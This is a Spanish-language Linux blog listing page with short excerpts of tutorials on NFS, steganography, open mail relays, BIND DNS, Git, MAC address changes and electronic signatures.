NFS en Debian - Ubuntu - LinuxMint - Xanadu
NFS (sistema de archivos de red _= Network File System): Protocolo que permite acceso remoto a un sistema de archivos a través de la red. Todos los sistemas Unix pueden trabajar con este protocolo; cuando se involucran sistemas Windows, debe util...
Esteganografía en Linux - Ubuntu | LinuxMint | Xanadu
La Esteganografía trata el estudio y aplicación de técnicas que permiten ocultar mensajes u objetos, dentro de otros, llamados portadores, de modo que no se perciba su existencia. Es decir, procura ocultar mensajes dentro de otros objetos y de ...
Evitar Open Relay en nuestro servidor de correos
Open Relay es un mecanismo de usar el MTA (Mail Transport Agent, Agente de Transporte de Correo) como puente para correos (usualmente spam, aunque pueden ser muchas otras cosas, como los Hoax) que de otra manera no podrían...
Como Instalar un Servidor DNS en Ubuntu
Recomendamos primero la lectura de : http://www.xombra.com/go_articulo.php?articulo=94 Ahora, vamos al grano 1.- Instalamos BIND y sus herramie...
Activar la persistencia en Xanadu GNU/Linux
Desde el blog de la distribución Xanadu GNU/Linux indican como activar la persistencia de una forma bastante sencilla. Procedimiento: Una vez copiado el contenido de la ISO a una memoria USB con el comando dd....
Optimizando un poco consumo de recursos de Chrome y Chromium
Abrir chrome o chromium dependiendo con el que trabajes, en la barra de navegación escribe: chrome://flags/ Ahora realizamos: Habilitamos la opción “Ignorar la lista de renderizaci&o...
Cambiar tu MAC address en GNU/Linux
Cambiar la MAC address de nuestra tarjeta de red es bastante sencilla, solo siguimos estos paso: Usemos ifconfig Puedes observar tu dirección MAC, ahora vamos a cambiarla: sudo su ifconfig eth0 down...
Manual sencillo para novatos en el uso de GIT
Para la instalación sigue estas instrucciones: Abre una consola y copia esto: sudo apt-get install libcurl4-gnutls-dev libexpat1-dev gettext libz-dev libssl-dev git Y Listo!, ahora: Para crea...
La Firma electrónica
La firma electrónica es el conjunto de datos en forma electrónica, consignados junto a otros o asociados con ellos, que pueden ser utilizados como medio de identificación del firmante. La firma electrónica supon...

Brindanos
un o una


Redes Sociales

Publicidad


Gana Bitcoins desde tu casa

Categorías


Planeta Vaslibre

Blog Roll




Nube de tags

  • anonimato
  • anonimo
  • antivirus
  • apache
  • ataques
  • blog
  • bsd
  • bug
  • centos
  • chrome
  • cifrado
  • computer
  • csrf
  • debian
  • exploits
  • fedora
  • fice
  • firefox
  • forense
  • freebsd
  • gentoo
  • github
  • gnome
  • gnu
  • gpl
  • gtk
  • hack
  • hacking
  • hosting
  • informatica
  • internet
  • isos
  • libre
  • licencias
  • linux
  • linuxmint
  • lxde
  • micros
  • mint
  • mit
  • mozilla
  • mysql
  • noticia
  • opensource
  • peligros
  • pgp
  • php
  • sabayon
  • seguridad
  • system
  • tecnologia
  • thunar
  • thunderbird
  • tor
  • troyanos
  • tware
  • ubuntu
  • underground
  • vaslibre
  • virus
  • viserproject
  • vivaldi
  • vulnerabilidades
  • web
  • website
  • windows
  • xanadu
  • xfce
  • xombra
  • xss